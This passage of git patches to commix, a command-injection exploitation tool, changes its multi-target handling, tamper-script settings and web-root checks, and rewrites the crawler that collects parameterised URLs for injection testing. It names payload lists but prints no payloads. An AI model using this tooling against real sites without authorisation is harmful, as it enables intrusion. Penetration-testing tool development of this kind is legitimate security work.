+ settings.USER_SUPPLIED_TAMPER = menu.options.tamper
+ # checks.tamper_scripts(stored_tamper_scripts=False)
except AttributeError:
pass
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 08c9d6f1b5..b810398374 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -150,20 +150,24 @@ def https_open(self, req):
_ = False
unauthorized = False
- while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False:
+ while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False:
+ if settings.MULTI_TARGETS:
+ if settings.INIT_TEST == True and len(settings.MULTI_ENCODED_PAYLOAD) != 0:
+ settings.MULTI_ENCODED_PAYLOAD = []
+ menu.options.tamper = settings.USER_SUPPLIED_TAMPER
try:
response = opener.open(request, timeout=settings.TIMEOUT)
page = checks.page_encoding(response, action="encode")
_ = True
settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2
- if settings.VERBOSITY_LEVEL < 2:
- if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \
- (settings.INIT_TEST == True and settings.MULTI_TARGETS):
- if settings.VALID_URL == False:
- settings.VALID_URL = True
+ if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \
+ (settings.INIT_TEST == True and settings.MULTI_TARGETS):
+ if settings.VALID_URL == False:
+ settings.VALID_URL = True
+ if not settings.CHECK_INTERNET:
+ settings.INIT_TEST = False
+ if settings.VERBOSITY_LEVEL < 2:
print(settings.SINGLE_WHITESPACE)
- if not settings.CHECK_INTERNET:
- settings.INIT_TEST = False
except _urllib.error.HTTPError as err_msg:
if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index fd33f002a0..0fa8d707e6 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "50"
+REVISION = "51"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -942,6 +942,8 @@ def sys_argv_errors():
RAW_HTTP_HEADERS = ""
+USER_SUPPLIED_TAMPER = ""
+
# Tamper scripts dict
TAMPER_SCRIPTS = {
"space2ifs": False,
@@ -1128,4 +1130,5 @@ def sys_argv_errors():
REDIRECT_CODE = ""
BASE64_PADDING = "=="
+
# eof
\ No newline at end of file
From 10de2aec752b1f92efa4de7df4e0808801ae2a11 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 4 May 2022 07:44:48 +0300
Subject: [PATCH 128/560] Minor update regarding commit:
https://github.com/commixproject/commix/commit/6cee207dbd8bc1fc5142749296ab2508140ff54f
---
src/core/injections/controller/controller.py | 10 +++++++---
.../semiblind/techniques/file_based/fb_injector.py | 7 +++++--
src/utils/settings.py | 4 ++--
3 files changed, 14 insertions(+), 7 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 898a3a749c..bd5099f9bb 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -71,7 +71,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
settings.CLASSIC_STATE = True
try:
whitespace = settings.WHITESPACES[0]
- if not settings.IDENTIFIED_COMMAND_INJECTION:
+ if not settings.IDENTIFIED_COMMAND_INJECTION or settings.MULTI_TARGETS:
_ = 0
for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS:
_ = _ + 1
@@ -100,7 +100,6 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
request.add_header(settings.COOKIE, cookie)
if inject_http_headers:
request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC))
- #request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC))
headers.do_check(request)
response = requests.get_request_response(request)
@@ -141,7 +140,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t
menu.options.data = menu.options.data.replace("/&", "/e&")
except TypeError as err_msg:
pass
- if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
+ if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS:
for payload in settings.PHPINFO_CHECK_PAYLOADS:
if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter):
payload = _urllib.parse.quote(payload)
@@ -696,6 +695,8 @@ def post_request(url, http_request_method, filename, timesec):
for check_parameter in check_parameters:
if check_parameter in "".join(settings.TEST_PARAMETER).split(","):
menu.options.data = found_parameter[param_counter]
+ check_parameter = parameters.vuln_POST_param(menu.options.data, url)
+ # Check for session file
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
param_counter += 1
@@ -793,6 +794,9 @@ def basic_level_checks():
General check on every injection technique.
"""
def do_check(url, http_request_method, filename):
+ if settings.RECHECK_FILE_FOR_EXTRACTION:
+ settings.RECHECK_FILE_FOR_EXTRACTION = False
+
# Check for '--tor' option.
if menu.options.tor:
if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech:
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
index 11fa8538a6..32f106e857 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
@@ -265,7 +265,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE):
settings.DEFINED_WEBROOT = output
return output
- if not settings.DEFINED_WEBROOT:
+ if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS:
if menu.options.web_root:
_ = "/"
if not menu.options.web_root.endswith(_):
@@ -278,7 +278,10 @@ def custom_web_root(url, OUTPUT_TEXTFILE):
if item == menu.options.web_root:
settings.DEFINED_WEBROOT = output
break
- if not settings.DEFINED_WEBROOT:
+
+ if not settings.DEFINED_WEBROOT or (settings.MULTI_TARGETS and not settings.RECHECK_FILE_FOR_EXTRACTION):
+ if settings.MULTI_TARGETS:
+ settings.RECHECK_FILE_FOR_EXTRACTION = True
while True:
if not menu.options.batch:
question_msg = "Do you want to use URL '" + output
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 0fa8d707e6..85b14e28f4 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "51"
+REVISION = "52"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -1071,7 +1071,7 @@ def sys_argv_errors():
NAGGING_DAYS = 31
LINUX_DEFAULT_DOC_ROOTS = ["/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
-DEFINED_WEBROOT = False
+DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False
# HTTP Headers
COOKIE = "Cookie"
From 6087dbcfebe0b3c281c0723b2cdc1f82d237ece0 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 5 May 2022 08:36:21 +0300
Subject: [PATCH 129/560] Improvement regarding crawler.
---
doc/CHANGELOG.md | 1 +
src/core/injections/controller/checks.py | 28 ++-
src/core/main.py | 64 +++++--
src/core/requests/headers.py | 8 +-
src/core/requests/redirection.py | 6 +-
src/utils/common.py | 9 +
src/utils/crawler.py | 223 +++++++++++------------
src/utils/menu.py | 2 +-
src/utils/settings.py | 15 +-
9 files changed, 208 insertions(+), 148 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index d7fca13ba6..182418a046 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.5 (TBA)
+* Revised: Improvement regarding crawler.
* Revised: Minor bug-fix regarding `--file-upload` option.
* Revised: Minor improvement regarding identifying 'hex' and/or 'base64' encoded parameter(s) value(s).
* Added: New option `--no-logging` for disabling logging to a file.
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 716c1bddab..80966a57c1 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -55,7 +55,7 @@
Connection exceptions
"""
-def connection_exceptions(err_msg):
+def connection_exceptions(err_msg, url):
settings.VALID_URL = False
try:
error_msg = str(err_msg.args[0]).split("] ")[1]
@@ -84,19 +84,29 @@ def connection_exceptions(err_msg):
warn_msg += "'--proxy' option."
print(settings.print_warning_msg(warn_msg))
elif "infinite loop" in str(error_msg):
- error_msg = "Infinite redirect loop detected."
- error_msg += "Please check all provided parameters and/or provide missing ones."
+ error_msg = "Infinite redirect loop detected. "
+ error_msg += "Please check all provided parameters and/or provide missing ones"
elif "BadStatusLine" in str(error_msg):
error_msg = "connection dropped or unknown HTTP "
error_msg += "status code received."
elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg):
error_msg = "connection was forcibly closed by the target URL."
- if settings.MAX_RETRIES > 1:
+ elif settings.UNAUTHORIZED_ERROR in str(error_msg) and not menu.options.ignore_code:
+ error_msg = "Not authorized, try to provide right HTTP "
+ error_msg += "authentication type and valid credentials."
+ if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR:
+ error_msg += " If this is intended, try to rerun by providing "
+ error_msg += "a valid value for option '--ignore-code'"
+ if settings.MAX_RETRIES > 1 and not settings.CRAWLING:
info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)."
print(settings.print_info_msg(info_msg))
- error_msg = "Unable to connect to the target URL (Reason: " + error_msg.capitalize() + ")."
- if settings.MULTI_TARGETS:
- error_msg = error_msg + " Skipping to the next target."
+ error_msg = "Unable to connect to the target URL (Reason: " + error_msg.replace("Http", "Http".upper()) + ")."
+ if not url:
+ _ = ""
+ else:
+ _ = " '" + url + "'"
+ if settings.MULTI_TARGETS or settings.CRAWLED_SKIPPED_URLS != 0:
+ error_msg = error_msg + " Skipping URL"+ _ +"."
print(settings.print_critical_msg(error_msg))
settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
if settings.MAX_RETRIES > 1:
@@ -111,7 +121,7 @@ def connection_exceptions(err_msg):
def not_declared_cookies(response):
try:
candidate = re.search(r'([^;]+);?', response.headers[settings.SET_COOKIE]).group(1)
- if candidate and settings.DECLARED_COOKIES is not False:
+ if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False:
settings.DECLARED_COOKIES = True
if settings.CRAWLED_SKIPPED_URLS != 0:
print(settings.SINGLE_WHITESPACE)
@@ -318,6 +328,8 @@ def captcha_check(page):
warn_msg += " (CloudFlare)."
else:
warn_msg += "."
+ if settings.CRAWLING:
+ print(settings.SINGLE_WHITESPACE)
print(settings.print_bold_warning_msg(warn_msg))
break
diff --git a/src/core/main.py b/src/core/main.py
index 8c39fea469..d1d6b53dc6 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -241,7 +241,7 @@ def url_response(url):
# Check if defined Tor (--tor option).
if menu.options.tor and settings.TOR_CHECK_AGAIN:
tor.do_check()
- if settings.MULTI_TARGETS:
+ if settings.MULTI_TARGETS or settings.CRAWLING:
settings.TOR_CHECK_AGAIN = False
# initiate total of requests
settings.TOTAL_OF_REQUESTS = 0
@@ -416,9 +416,6 @@ def main(filename, url):
admin_panel=url, username=menu.options.auth_cred.split(":")[0], \
password=menu.options.auth_cred.split(":")[1]
)
- # Load the crawler
- if menu.options.crawldepth > 0 or menu.options.sitemap_url:
- url = crawler.crawler(url)
try:
if menu.options.flush_session:
session_handler.flush(url)
@@ -625,11 +622,6 @@ def main(filename, url):
if menu.options.os:
checks.user_defined_os()
- if menu.options.crawldepth > 2:
- err_msg = "Depth level '" + str(menu.options.crawldepth) + "' is not a valid."
- print(settings.print_error_msg(err_msg))
- raise SystemExit()
-
# Check if defined "--check-tor" option.
if menu.options.tor_check and not menu.options.tor:
err_msg = "The '--check-tor' swich requires usage of switch '--tor'."
@@ -676,6 +668,9 @@ def main(filename, url):
else:
settings.LOCAL_HTTP_IP = None
+ if menu.options.crawldepth > 0 or menu.options.sitemap_url:
+ settings.CRAWLING = True
+
# Check arguments
if len(sys.argv) == 1:
menu.parser.print_help()
@@ -762,6 +757,54 @@ def main(filename, url):
if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START:
update.check_for_update()
+ # Load the crawler
+ if settings.CRAWLING:
+ output_href = crawler.crawler(menu.options.url)
+ filename = crawler.store_crawling()
+ # Removing duplicates from list.
+ clean_output_href = []
+ [clean_output_href.append(x) for x in output_href if x not in clean_output_href]
+ # Removing empty elements from list.
+ clean_output_href = [x for x in clean_output_href if x]
+ if len(clean_output_href) != 0:
+ settings.MULTI_TARGETS = True
+ info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "."
+ print(settings.print_info_msg(info_msg))
+ url_num = 0
+ for url in clean_output_href:
+ if re.search(r"(.*?)\?(.+)", url):
+ url_num += 1
+ print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "")
+ if filename is not None:
+ with open(filename, "a") as crawling_results:
+ crawling_results.write(url + "\n")
+ if not menu.options.batch:
+ question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
+ message = _input(settings.print_question_msg(question_msg))
+ else:
+ message = ""
+ if len(message) == 0:
+ message = "Y"
+ if message in settings.CHOICE_YES:
+ settings.INIT_TEST = True
+ if url == clean_output_href[-1]:
+ settings.EOF = True
+ # Reset the injection level
+ if menu.options.level > 3:
+ menu.options.level = 1
+ init_injection(url)
+ try:
+ response, url = url_response(url)
+ if response != False:
+ filename = logs.logs_filename_creation(url)
+ main(filename, url)
+ except:
+ pass
+ elif message in settings.CHOICE_NO:
+ pass
+ elif message in settings.CHOICE_QUIT:
+ raise SystemExit()
+
# Check if option is "-m" for multiple urls test.
if menu.options.bulkfile:
bulkfile = menu.options.bulkfile
@@ -794,7 +837,7 @@ def main(filename, url):
print(settings.print_info_msg("Found a total of " + str(len(clean_bulkfile)) + " targets."))
for url in clean_bulkfile:
url_num += 1
- print(settings.print_question_msg("URL #" + str(url_num) + " - " + url) + "")
+ print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_bulkfile)) + "] URL - " + url) + "")
if not menu.options.batch:
question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
message = _input(settings.print_question_msg(question_msg))
@@ -822,7 +865,6 @@ def main(filename, url):
elif message in settings.CHOICE_QUIT:
raise SystemExit()
-
else:
if os_checks_num == 0:
settings.INIT_TEST = True
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index b810398374..18ae47ec20 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -134,7 +134,7 @@ def http_open(self, req):
self.do_open(connection, req)
return super(connection_handler, self).http_open(req)
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg:
- checks.connection_exceptions(err_msg)
+ checks.connection_exceptions(err_msg, url=req)
def https_open(self, req):
try:
@@ -142,7 +142,7 @@ def https_open(self, req):
self.do_open(connection, req)
return super(connection_handler, self).https_open(req)
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg:
- checks.connection_exceptions(err_msg)
+ checks.connection_exceptions(err_msg, url=req)
opener = _urllib.request.build_opener(connection_handler())
if len(settings.HTTP_METHOD) != 0:
@@ -214,12 +214,12 @@ def https_open(self, req):
if settings.VERBOSITY_LEVEL != 0:
print_http_response(err.info(), err.code, err.read())
- if not settings.PERFORM_CRACKING and \
+ if (not settings.PERFORM_CRACKING and \
not settings.IS_JSON and \
not settings.IS_XML and \
not str(err.code) == settings.INTERNAL_SERVER_ERROR and \
not str(err.code) == settings.BAD_REQUEST and \
- not settings.CRAWLED_SKIPPED_URLS == 0:
+ not settings.CRAWLED_SKIPPED_URLS != 0) and settings.CRAWLED_SKIPPED_URLS != 0:
print(settings.SINGLE_WHITESPACE)
# error_msg = "Got " + str(err).replace(": "," (")
# Check for 3xx, 4xx, 5xx HTTP error codes.
diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py
index 5f6633f2e4..a1c4035cc6 100755
--- a/src/core/requests/redirection.py
+++ b/src/core/requests/redirection.py
@@ -66,13 +66,15 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
else:
while True:
if not menu.options.batch:
+ if settings.CRAWLING:
+ print(settings.SINGLE_WHITESPACE)
question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n"
question_msg += "Do you want to follow the identified redirection? [Y/n] > "
redirection_option = _input(settings.print_question_msg(question_msg))
else:
redirection_option = ""
if len(redirection_option) == 0 or redirection_option in settings.CHOICE_YES:
- if menu.options.batch:
+ if menu.options.batch and not settings.CRAWLING:
info_msg = "Following redirection to '" + response.geturl() + "'. "
print(settings.print_info_msg(info_msg))
return checks.check_http_s(response.geturl())
@@ -87,7 +89,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg:
if settings.VALID_URL:
- checks.connection_exceptions(err_msg)
+ checks.connection_exceptions(err_msg, url)
else:
pass
diff --git a/src/utils/common.py b/src/utils/common.py
index befb641560..da159bd01a 100644
--- a/src/utils/common.py
+++ b/src/utils/common.py
@@ -27,6 +27,15 @@
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
+
+def extract_regex_result(regex, content):
+ result = None
+ if regex and content and "?P" in regex:
+ match = re.search(regex, content)
+ if match:
+ result = match.group("result")
+ return result
+
"""
Returns True if the current process is run under admin privileges
"""
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index decfb487a6..a9f526f804 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -14,18 +14,25 @@
"""
import re
import sys
+import socket
import tempfile
from src.utils import menu
from src.utils import settings
+from src.utils.common import extract_regex_result
from src.core.injections.controller import checks
from src.core.requests import headers
+from socket import error as SocketError
+from src.core.requests import redirection
+from src.thirdparty.six.moves import http_client as _http_client
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup
-SITEMAP_LOC = []
-HREF_LIST = []
+sitemap_loc = []
+visited_hrefs = []
+crawled_hrefs = []
+new_crawled_hrefs = []
def store_crawling():
while True:
@@ -52,29 +59,6 @@ def store_crawling():
sys.stdout.flush()
pass
-"""
-Do a request to target URL.
-"""
-def request(url):
- try:
- # Check if defined POST data
- if menu.options.data:
- request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC))
- else:
- request = _urllib.request.Request(url)
- headers.do_check(request)
- headers.check_http_traffic(request)
- response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
- return response
- except _urllib.error.URLError as err_msg:
- settings.CRAWLED_SKIPPED_URLS += 1
- if settings.CRAWLED_SKIPPED_URLS == 1:
- print(settings.SINGLE_WHITESPACE)
- err_msg = str(err_msg) + " - Skipping " + str(url)
- sys.stdout.write(settings.print_critical_msg(err_msg))
- if settings.VERBOSITY_LEVEL >= 2:
- print(settings.SINGLE_WHITESPACE)
-
"""
Check for URLs in sitemap.xml.
"""
@@ -88,7 +72,8 @@ def sitemap(url):
content = checks.page_encoding(response, action="decode")
for match in re.finditer(r"\s*([^<]+)", content or ""):
url = match.group(1).strip()
- SITEMAP_LOC.append(url)
+ if url not in sitemap_loc:
+ sitemap_loc.append(url)
if url.endswith(".xml") and "sitemap" in url.lower():
while True:
warn_msg = "A sitemap recursion detected (" + url + ")."
@@ -111,16 +96,62 @@ def sitemap(url):
err_msg = "'" + message + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
- return SITEMAP_LOC
+ return sitemap_loc
except:
if not menu.options.crawldepth:
raise SystemExit()
pass
"""
-Grab the crawled hrefs.
+Store the identified (valid) hrefs.
+"""
+def store_hrefs(href, identified_hrefs, redirection):
+ if href not in crawled_hrefs:
+ if (settings.CRAWLING_DEPTH != 1 and href not in new_crawled_hrefs) or redirection:
+ new_crawled_hrefs.append(href)
+ identified_hrefs = True
+ crawled_hrefs.append(href)
+ return identified_hrefs
+"""
+Do a request to target URL.
"""
-def crawling(url):
+def request(url):
+ try:
+ # Check if defined POST data
+ if menu.options.data:
+ request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC))
+ else:
+ request = _urllib.request.Request(url)
+ headers.do_check(request)
+ headers.check_http_traffic(request)
+ response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
+ if not menu.options.ignore_redirects:
+ href = redirection.do_check(request, url)
+ if href != url:
+ store_hrefs(href, identified_hrefs=True, redirection=True)
+ return response
+ except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg:
+ if url not in settings.HREF_SKIPPED:
+ settings.HREF_SKIPPED.append(url)
+ settings.CRAWLED_SKIPPED_URLS += 1
+ # if settings.CRAWLING_DEPTH == 1:
+ print(settings.SINGLE_WHITESPACE)
+ checks.connection_exceptions(err_msg, url)
+ if settings.VERBOSITY_LEVEL >= 2:
+ print(settings.SINGLE_WHITESPACE)
+
+"""
+The crawing process.
+"""
+def do_process(url):
+ identified_hrefs = False
+ if settings.VERBOSITY_LEVEL >= 2:
+ print(settings.SINGLE_WHITESPACE)
+ else:
+ if settings.CRAWLED_SKIPPED_URLS == 0:
+ sys.stdout.write("\r")
+
+ # Grab the crawled hrefs.
try:
response = request(url)
content = checks.page_encoding(response, action="decode")
@@ -133,48 +164,37 @@ def crawling(url):
tags = []
tags += re.finditer(r'(?i)\s(href|src)=["\'](?P[^>"\']+)', content)
tags += re.finditer(r'(?i)window\.open\(["\'](?P[^)"\']+)["\']', content)
+
for tag in tags:
href = tag.get("href") if hasattr(tag, settings.HTTPMETHOD.GET) else tag.group("href")
if href:
- href = _urllib.parse.urljoin(url, href)
- if _urllib.parse.urlparse(url).netloc in href:
- if not re.search(r"\?(v=)?\d+\Z", href) and not \
- re.search(r"(?i)\.(js|css)(\?|\Z)", href) and \
- href.split('.')[-1].lower() not in settings.CRAWL_EXCLUDE_EXTENSIONS:
- if request(href):
- HREF_LIST.append(href)
- if len(HREF_LIST) != 0:
- return list(set(HREF_LIST))
+ href = _urllib.parse.urljoin(url, _urllib.parse.unquote(href))
+ if _urllib.parse.urlparse(url).netloc in href:
+ if (extract_regex_result(r"\A[^?]+\.(?P\w+)(\?|\Z)", href) or "") not in settings.CRAWL_EXCLUDE_EXTENSIONS:
+ if not re.search(r"\?(v=)?\d+\Z", href) and \
+ not re.search(r"(?i)\.(js|css)(\?|\Z)", href):
+ identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False)
+
+ if len(crawled_hrefs) != 0:
+ if identified_hrefs:
+ if len(new_crawled_hrefs) != 0 and settings.CRAWLING_DEPTH != 1:
+ return list(set(new_crawled_hrefs))
+ return list(set(crawled_hrefs))
+ return list("")
else:
- if not settings.VERBOSITY_LEVEL >= 2:
- print(settings.SINGLE_WHITESPACE)
warn_msg = "No usable links found."
print(settings.print_warning_msg(warn_msg))
raise SystemExit()
- except (UnicodeEncodeError, ValueError) as e: # for non-HTML files and non-valid links
- pass
-
-"""
-The crawing process.
-"""
-def do_process(url):
- try:
- crawled_href = []
- for url in crawling(url):
- crawled_href.append(url)
- return crawled_href
- except TypeError:
+ except Exception as e: # for non-HTML files and non-valid links
pass
-
+
"""
The main crawler.
"""
def crawler(url):
- if not menu.options.sitemap_url:
- info_msg = "Starting crawler and searching for "
- info_msg += "links with depth " + str(menu.options.crawldepth) + "."
- print(settings.print_info_msg(info_msg))
- else:
+ info_msg = "Starting crawler for target URL '" + url + "'"
+ print(settings.print_info_msg(info_msg))
+ if menu.options.sitemap_url:
message = ""
if not menu.options.crawldepth:
while True:
@@ -217,15 +237,11 @@ def crawler(url):
# Change the crawling depth level.
if message in settings.CHOICE_YES:
while True:
- question_msg = "Please enter the crawling depth level (1-2) > "
+ question_msg = "Please enter the crawling depth level: > "
message = _input(settings.print_question_msg(question_msg))
if len(message) == 0:
message = 1
break
- elif str(message) != "1" and str(message) != "2":
- err_msg = "Depth level '" + message + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
else:
menu.options.crawldepth = message
break
@@ -257,68 +273,37 @@ def crawler(url):
message = "n"
sitemap_check = True
break
-
if sitemap_check:
output_href = sitemap(url)
if output_href is None :
sitemap_check = False
- info_msg = "Checking "
- if sitemap_check:
- info_msg += "identified 'sitemap.xml' "
- info_msg += "for usable links (with GET parameters). "
- if message in settings.CHOICE_NO and not menu.options.sitemap_url:
- sys.stdout.write("\r" + settings.print_info_msg(info_msg))
- else:
- sys.stdout.write("\n" + settings.print_info_msg(info_msg))
- sys.stdout.flush()
-
if not sitemap_check:
output_href = do_process(url)
- if int(menu.options.crawldepth) > 1:
- for url in output_href:
- output_href = do_process(url)
- if settings.CRAWLED_SKIPPED_URLS == 0:
- print(settings.SINGLE_WHITESPACE)
-
- if not settings.VERBOSITY_LEVEL >= 2 and not settings.DECLARED_COOKIES:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "Visited " + str(len(output_href)) + " link"+ "s"[len(output_href) == 1:] + "."
- print(settings.print_info_msg(info_msg))
- filename = store_crawling()
- valid_url_found = False
- try:
- url_num = 0
- valid_urls = []
- for check_url in output_href:
- if re.search(r"(.*?)\?(.+)", check_url):
- valid_url_found = True
- url_num += 1
- print(settings.print_question_msg("URL #" + str(url_num) + " - " + check_url) + "")
- if filename is not None:
- with open(filename, "a") as crawling_results:
- crawling_results.write(check_url + "\n")
- if not menu.options.batch:
- question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
- message = _input(settings.print_question_msg(question_msg))
- else:
- message = ""
- if len(message) == 0:
- message = "Y"
- if message in settings.CHOICE_YES:
- return check_url
- elif message in settings.CHOICE_NO:
+ while settings.CRAWLING_DEPTH <= int(menu.options.crawldepth):
+ info_msg = "Searching for usable "
+ info_msg += "links with depth " + str(settings.CRAWLING_DEPTH) + "."
+ print(settings.print_info_msg(info_msg))
+ if settings.CRAWLING_DEPTH != 1:
+ output_href = new_crawled_hrefs
+ link = 0
+ if output_href is not None:
+ for url in output_href:
+ link += 1
+ if url not in visited_hrefs:
+ visited_hrefs.append(url)
+ do_process(url)
+ info_msg = str(link)
+ info_msg += "/" + str(len(output_href)) + " links visited."
+ sys.stdout.write("\r" + settings.print_info_msg(info_msg))
+ sys.stdout.flush()
if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Skipping '" + check_url + "'.\n"
- sys.stdout.write(settings.print_debug_msg(debug_msg))
- pass
- elif message in settings.CHOICE_QUIT:
- raise SystemExit()
- raise SystemExit()
- except TypeError:
- pass
- if not valid_url_found:
- print(settings.SINGLE_WHITESPACE)
- raise SystemExit()
+ print(settings.SINGLE_WHITESPACE)
+ if link != 0:
+ print(settings.SINGLE_WHITESPACE)
+ settings.CRAWLING_DEPTH += 1
+
+ output_href = crawled_hrefs
+ return output_href
# eof
\ No newline at end of file
diff --git a/src/utils/menu.py b/src/utils/menu.py
index 154d7d8195..b1c3b651ed 100755
--- a/src/utils/menu.py
+++ b/src/utils/menu.py
@@ -163,7 +163,7 @@ def banner():
default=0,
dest="crawldepth",
type="int",
- help="Crawl the website starting from the target URL (1-2, Default: 0).")
+ help="Crawl the website starting from the target URL (Default: 1).")
target.add_option("-x",
dest="sitemap_url",
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 85b14e28f4..0da3a13f57 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "52"
+REVISION = "53"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -1122,13 +1122,22 @@ def sys_argv_errors():
DECLARED_COOKIES = ""
-CRAWLED_SKIPPED_URLS = 0
-
MULTI_TARGETS = False
# Identified Redirect code
REDIRECT_CODE = ""
+# Base64 padding
BASE64_PADDING = "=="
+# Crawling state
+CRAWLING = False
+CRAWLED_SKIPPED_URLS = 0
+
+# Skipped crawled hrefs
+HREF_SKIPPED = []
+
+# Default crawling depth
+CRAWLING_DEPTH = 1
+
# eof
\ No newline at end of file
From 55264e5a9aaca8512094eff05e7f82fbc89edde6 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 6 May 2022 08:19:08 +0300
Subject: [PATCH 130/560] Added support for normalizing crawling results.
---
doc/CHANGELOG.md | 1 +
src/utils/crawler.py | 33 ++++++++++++++++++++++++++++++++-
src/utils/settings.py | 2 +-
3 files changed, 34 insertions(+), 2 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 182418a046..c8de73023b 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
